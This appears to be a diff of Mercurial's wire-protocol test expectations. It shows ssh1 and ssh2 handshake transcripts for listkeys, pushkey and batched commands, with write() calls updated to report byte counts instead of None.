1767 1767 o> readline() -> 384:
1768 1768 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1769 1769 o> readline() -> 2:
1770 1770 o> 1\n
1771 1771 o> readline() -> 1:
1772 1772 o> \n
1773 1773 sending listkeys command
1774 i> write(9) -> None:
1774 i> write(9) -> 9:
1775 1775 i> listkeys\n
1776 i> write(12) -> None:
1776 i> write(12) -> 12:
1777 1777 i> namespace 6\n
1778 i> write(6) -> None: phases
1778 i> write(6) -> 6: phases
1779 1779 i> flush() -> None
1780 1780 o> bufferedreadline() -> 4:
1781 1781 o> 101\n
1782 1782 o> bufferedread(101) -> 101:
1783 1783 o> 20b8a89289d80036e6c4e87c2083e3bea1586637 1\n
1784 1784 o> c4750011d906c18ea2f0527419cbc1a544435150 1\n
1785 1785 o> publishing True
1786 1786 response: 20b8a89289d80036e6c4e87c2083e3bea1586637 1\nc4750011d906c18ea2f0527419cbc1a544435150 1\npublishing True
1787 1787
1788 1788 testing ssh2
1789 1789 creating ssh peer from handshake results
1790 i> write(171) -> None:
1790 i> write(171) -> 171:
1791 1791 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1792 1792 i> hello\n
1793 1793 i> between\n
1794 1794 i> pairs 81\n
1795 1795 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1796 1796 i> flush() -> None
1797 1797 o> readline() -> 62:
1798 1798 o> upgraded * exp-ssh-v2-0001\n (glob)
1799 1799 o> readline() -> 4:
1800 1800 o> 383\n
1801 1801 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1802 1802 o> read(1) -> 1:
1803 1803 o> \n
1804 1804 sending listkeys command
1805 i> write(9) -> None:
1805 i> write(9) -> 9:
1806 1806 i> listkeys\n
1807 i> write(12) -> None:
1807 i> write(12) -> 12:
1808 1808 i> namespace 6\n
1809 i> write(6) -> None: phases
1809 i> write(6) -> 6: phases
1810 1810 i> flush() -> None
1811 1811 o> bufferedreadline() -> 4:
1812 1812 o> 101\n
1813 1813 o> bufferedread(101) -> 101:
1814 1814 o> 20b8a89289d80036e6c4e87c2083e3bea1586637 1\n
1815 1815 o> c4750011d906c18ea2f0527419cbc1a544435150 1\n
1816 1816 o> publishing True
1817 1817 response: 20b8a89289d80036e6c4e87c2083e3bea1586637 1\nc4750011d906c18ea2f0527419cbc1a544435150 1\npublishing True
1818 1818
1819 1819 Single draft head
1820 1820
1821 1821 $ hg phase --public -r 2
1822 1822 $ debugwireproto << EOF
1823 1823 > command listkeys
1824 1824 > namespace phases
1825 1825 > EOF
1826 1826 testing ssh1
1827 1827 creating ssh peer from handshake results
1828 i> write(104) -> None:
1828 i> write(104) -> 104:
1829 1829 i> hello\n
1830 1830 i> between\n
1831 1831 i> pairs 81\n
1832 1832 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1833 1833 i> flush() -> None
1834 1834 o> readline() -> 4:
1835 1835 o> 384\n
1836 1836 o> readline() -> 384:
1837 1837 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1838 1838 o> readline() -> 2:
1839 1839 o> 1\n
1840 1840 o> readline() -> 1:
1841 1841 o> \n
1842 1842 sending listkeys command
1843 i> write(9) -> None:
1843 i> write(9) -> 9:
1844 1844 i> listkeys\n
1845 i> write(12) -> None:
1845 i> write(12) -> 12:
1846 1846 i> namespace 6\n
1847 i> write(6) -> None: phases
1847 i> write(6) -> 6: phases
1848 1848 i> flush() -> None
1849 1849 o> bufferedreadline() -> 3:
1850 1850 o> 58\n
1851 1851 o> bufferedread(58) -> 58:
1852 1852 o> c4750011d906c18ea2f0527419cbc1a544435150 1\n
1853 1853 o> publishing True
1854 1854 response: c4750011d906c18ea2f0527419cbc1a544435150 1\npublishing True
1855 1855
1856 1856 testing ssh2
1857 1857 creating ssh peer from handshake results
1858 i> write(171) -> None:
1858 i> write(171) -> 171:
1859 1859 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1860 1860 i> hello\n
1861 1861 i> between\n
1862 1862 i> pairs 81\n
1863 1863 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1864 1864 i> flush() -> None
1865 1865 o> readline() -> 62:
1866 1866 o> upgraded * exp-ssh-v2-0001\n (glob)
1867 1867 o> readline() -> 4:
1868 1868 o> 383\n
1869 1869 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1870 1870 o> read(1) -> 1:
1871 1871 o> \n
1872 1872 sending listkeys command
1873 i> write(9) -> None:
1873 i> write(9) -> 9:
1874 1874 i> listkeys\n
1875 i> write(12) -> None:
1875 i> write(12) -> 12:
1876 1876 i> namespace 6\n
1877 i> write(6) -> None: phases
1877 i> write(6) -> 6: phases
1878 1878 i> flush() -> None
1879 1879 o> bufferedreadline() -> 3:
1880 1880 o> 58\n
1881 1881 o> bufferedread(58) -> 58:
1882 1882 o> c4750011d906c18ea2f0527419cbc1a544435150 1\n
1883 1883 o> publishing True
1884 1884 response: c4750011d906c18ea2f0527419cbc1a544435150 1\npublishing True
1885 1885
1886 1886 All public heads
1887 1887
1888 1888 $ hg phase --public -r 4
1889 1889 $ debugwireproto << EOF
1890 1890 > command listkeys
1891 1891 > namespace phases
1892 1892 > EOF
1893 1893 testing ssh1
1894 1894 creating ssh peer from handshake results
1895 i> write(104) -> None:
1895 i> write(104) -> 104:
1896 1896 i> hello\n
1897 1897 i> between\n
1898 1898 i> pairs 81\n
1899 1899 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1900 1900 i> flush() -> None
1901 1901 o> readline() -> 4:
1902 1902 o> 384\n
1903 1903 o> readline() -> 384:
1904 1904 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1905 1905 o> readline() -> 2:
1906 1906 o> 1\n
1907 1907 o> readline() -> 1:
1908 1908 o> \n
1909 1909 sending listkeys command
1910 i> write(9) -> None:
1910 i> write(9) -> 9:
1911 1911 i> listkeys\n
1912 i> write(12) -> None:
1912 i> write(12) -> 12:
1913 1913 i> namespace 6\n
1914 i> write(6) -> None: phases
1914 i> write(6) -> 6: phases
1915 1915 i> flush() -> None
1916 1916 o> bufferedreadline() -> 3:
1917 1917 o> 15\n
1918 1918 o> bufferedread(15) -> 15: publishing True
1919 1919 response: publishing True
1920 1920
1921 1921 testing ssh2
1922 1922 creating ssh peer from handshake results
1923 i> write(171) -> None:
1923 i> write(171) -> 171:
1924 1924 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1925 1925 i> hello\n
1926 1926 i> between\n
1927 1927 i> pairs 81\n
1928 1928 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1929 1929 i> flush() -> None
1930 1930 o> readline() -> 62:
1931 1931 o> upgraded * exp-ssh-v2-0001\n (glob)
1932 1932 o> readline() -> 4:
1933 1933 o> 383\n
1934 1934 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1935 1935 o> read(1) -> 1:
1936 1936 o> \n
1937 1937 sending listkeys command
1938 i> write(9) -> None:
1938 i> write(9) -> 9:
1939 1939 i> listkeys\n
1940 i> write(12) -> None:
1940 i> write(12) -> 12:
1941 1941 i> namespace 6\n
1942 i> write(6) -> None: phases
1942 i> write(6) -> 6: phases
1943 1943 i> flush() -> None
1944 1944 o> bufferedreadline() -> 3:
1945 1945 o> 15\n
1946 1946 o> bufferedread(15) -> 15: publishing True
1947 1947 response: publishing True
1948 1948
1949 1949 Setting public phase via pushkey
1950 1950
1951 1951 $ hg phase --draft --force -r .
1952 1952
1953 1953 $ debugwireproto << EOF
1954 1954 > command pushkey
1955 1955 > namespace phases
1956 1956 > key 7127240a084fd9dc86fe8d1f98e26229161ec82b
1957 1957 > old 1
1958 1958 > new 0
1959 1959 > EOF
1960 1960 testing ssh1
1961 1961 creating ssh peer from handshake results
1962 i> write(104) -> None:
1962 i> write(104) -> 104:
1963 1963 i> hello\n
1964 1964 i> between\n
1965 1965 i> pairs 81\n
1966 1966 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1967 1967 i> flush() -> None
1968 1968 o> readline() -> 4:
1969 1969 o> 384\n
1970 1970 o> readline() -> 384:
1971 1971 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1972 1972 o> readline() -> 2:
1973 1973 o> 1\n
1974 1974 o> readline() -> 1:
1975 1975 o> \n
1976 1976 sending pushkey command
1977 i> write(8) -> None:
1977 i> write(8) -> 8:
1978 1978 i> pushkey\n
1979 i> write(7) -> None:
1979 i> write(7) -> 7:
1980 1980 i> key 40\n
1981 i> write(40) -> None: 7127240a084fd9dc86fe8d1f98e26229161ec82b
1982 i> write(12) -> None:
1981 i> write(40) -> 40: 7127240a084fd9dc86fe8d1f98e26229161ec82b
1982 i> write(12) -> 12:
1983 1983 i> namespace 6\n
1984 i> write(6) -> None: phases
1985 i> write(6) -> None:
1984 i> write(6) -> 6: phases
1985 i> write(6) -> 6:
1986 1986 i> new 1\n
1987 i> write(1) -> None: 0
1988 i> write(6) -> None:
1987 i> write(1) -> 1: 0
1988 i> write(6) -> 6:
1989 1989 i> old 1\n
1990 i> write(1) -> None: 1
1990 i> write(1) -> 1: 1
1991 1991 i> flush() -> None
1992 1992 o> bufferedreadline() -> 2:
1993 1993 o> 2\n
1994 1994 o> bufferedread(2) -> 2:
1995 1995 o> 1\n
1996 1996 response: 1\n
1997 1997
1998 1998 testing ssh2
1999 1999 creating ssh peer from handshake results
2000 i> write(171) -> None:
2000 i> write(171) -> 171:
2001 2001 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
2002 2002 i> hello\n
2003 2003 i> between\n
2004 2004 i> pairs 81\n
2005 2005 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
2006 2006 i> flush() -> None
2007 2007 o> readline() -> 62:
2008 2008 o> upgraded * exp-ssh-v2-0001\n (glob)
2009 2009 o> readline() -> 4:
2010 2010 o> 383\n
2011 2011 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
2012 2012 o> read(1) -> 1:
2013 2013 o> \n
2014 2014 sending pushkey command
2015 i> write(8) -> None:
2015 i> write(8) -> 8:
2016 2016 i> pushkey\n
2017 i> write(7) -> None:
2017 i> write(7) -> 7:
2018 2018 i> key 40\n
2019 i> write(40) -> None: 7127240a084fd9dc86fe8d1f98e26229161ec82b
2020 i> write(12) -> None:
2019 i> write(40) -> 40: 7127240a084fd9dc86fe8d1f98e26229161ec82b
2020 i> write(12) -> 12:
2021 2021 i> namespace 6\n
2022 i> write(6) -> None: phases
2023 i> write(6) -> None:
2022 i> write(6) -> 6: phases
2023 i> write(6) -> 6:
2024 2024 i> new 1\n
2025 i> write(1) -> None: 0
2026 i> write(6) -> None:
2025 i> write(1) -> 1: 0
2026 i> write(6) -> 6:
2027 2027 i> old 1\n
2028 i> write(1) -> None: 1
2028 i> write(1) -> 1: 1
2029 2029 i> flush() -> None
2030 2030 o> bufferedreadline() -> 2:
2031 2031 o> 2\n
2032 2032 o> bufferedread(2) -> 2:
2033 2033 o> 1\n
2034 2034 response: 1\n
2035 2035
2036 2036 $ hg phase .
2037 2037 4: public
2038 2038
2039 2039 $ cd ..
2040 2040
2041 2041 Test batching of requests
2042 2042
2043 2043 $ hg init batching
2044 2044 $ cd batching
2045 2045 $ echo 0 > foo
2046 2046 $ hg add foo
2047 2047 $ hg -q commit -m initial
2048 2048 $ hg phase --public
2049 2049 $ echo 1 > foo
2050 2050 $ hg commit -m 'commit 1'
2051 2051 $ hg -q up 0
2052 2052 $ echo 2 > foo
2053 2053 $ hg commit -m 'commit 2'
2054 2054 created new head
2055 2055 $ hg book -r 1 bookA
2056 2056 $ hg book -r 2 bookB
2057 2057
2058 2058 $ debugwireproto << EOF
2059 2059 > batchbegin
2060 2060 > command heads
2061 2061 > command listkeys
2062 2062 > namespace bookmarks
2063 2063 > command listkeys
2064 2064 > namespace phases
2065 2065 > batchsubmit
2066 2066 > EOF
2067 2067 testing ssh1
2068 2068 creating ssh peer from handshake results
2069 i> write(104) -> None:
2069 i> write(104) -> 104:
2070 2070 i> hello\n
2071 2071 i> between\n
2072 2072 i> pairs 81\n
2073 2073 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
2074 2074 i> flush() -> None
2075 2075 o> readline() -> 4:
2076 2076 o> 384\n
2077 2077 o> readline() -> 384:
2078 2078 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
2079 2079 o> readline() -> 2:
2080 2080 o> 1\n
2081 2081 o> readline() -> 1:
2082 2082 o> \n
2083 2083 sending batch with 3 sub-commands
2084 i> write(6) -> None:
2084 i> write(6) -> 6:
2085 2085 i> batch\n
2086 i> write(4) -> None:
2086 i> write(4) -> 4:
2087 2087 i> * 0\n
2088 i> write(8) -> None:
2088 i> write(8) -> 8:
2089 2089 i> cmds 61\n
2090 i> write(61) -> None: heads ;listkeys namespace=bookmarks;listkeys namespace=phases
2090 i> write(61) -> 61: heads ;listkeys namespace=bookmarks;listkeys namespace=phases
2091 2091 i> flush() -> None
2092 2092 o> bufferedreadline() -> 4:
2093 2093 o> 278\n
2094 2094 o> bufferedread(278) -> 278:
2095 2095 o> bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2096 2096 o> ;bookA 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2097 2097 o> bookB bfebe6bd38eebc6f8202e419c1171268987ea6a6;4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab 1\n
2098 2098 o> bfebe6bd38eebc6f8202e419c1171268987ea6a6 1\n
2099 2099 o> publishing True
2100 2100 response #0: bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2101 2101 response #1: bookA 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\nbookB bfebe6bd38eebc6f8202e419c1171268987ea6a6
2102 2102 response #2: 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab 1\nbfebe6bd38eebc6f8202e419c1171268987ea6a6 1\npublishing True
2103 2103
2104 2104 testing ssh2
2105 2105 creating ssh peer from handshake results
2106 i> write(171) -> None:
2106 i> write(171) -> 171:
2107 2107 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
2108 2108 i> hello\n
2109 2109 i> between\n
2110 2110 i> pairs 81\n
2111 2111 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
2112 2112 i> flush() -> None
2113 2113 o> readline() -> 62:
2114 2114 o> upgraded * exp-ssh-v2-0001\n (glob)
2115 2115 o> readline() -> 4:
2116 2116 o> 383\n
2117 2117 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
2118 2118 o> read(1) -> 1:
2119 2119 o> \n
2120 2120 sending batch with 3 sub-commands
2121 i> write(6) -> None:
2121 i> write(6) -> 6:
2122 2122 i> batch\n
2123 i> write(4) -> None:
2123 i> write(4) -> 4:
2124 2124 i> * 0\n
2125 i> write(8) -> None:
2125 i> write(8) -> 8:
2126 2126 i> cmds 61\n
2127 i> write(61) -> None: heads ;listkeys namespace=bookmarks;listkeys namespace=phases
2127 i> write(61) -> 61: heads ;listkeys namespace=bookmarks;listkeys namespace=phases
2128 2128 i> flush() -> None
2129 2129 o> bufferedreadline() -> 4:
2130 2130 o> 278\n
2131 2131 o> bufferedread(278) -> 278:
2132 2132 o> bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2133 2133 o> ;bookA 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2134 2134 o> bookB bfebe6bd38eebc6f8202e419c1171268987ea6a6;4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab 1\n
2135 2135 o> bfebe6bd38eebc6f8202e419c1171268987ea6a6 1\n
2136 2136 o> publishing True
2137 2137 response #0: bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2138 2138 response #1: bookA 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\nbookB bfebe6bd38eebc6f8202e419c1171268987ea6a6
2139 2139 response #2: 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab 1\nbfebe6bd38eebc6f8202e419c1171268987ea6a6 1\npublishing True
General Comments 0
You need to be logged in to leave comments. Login now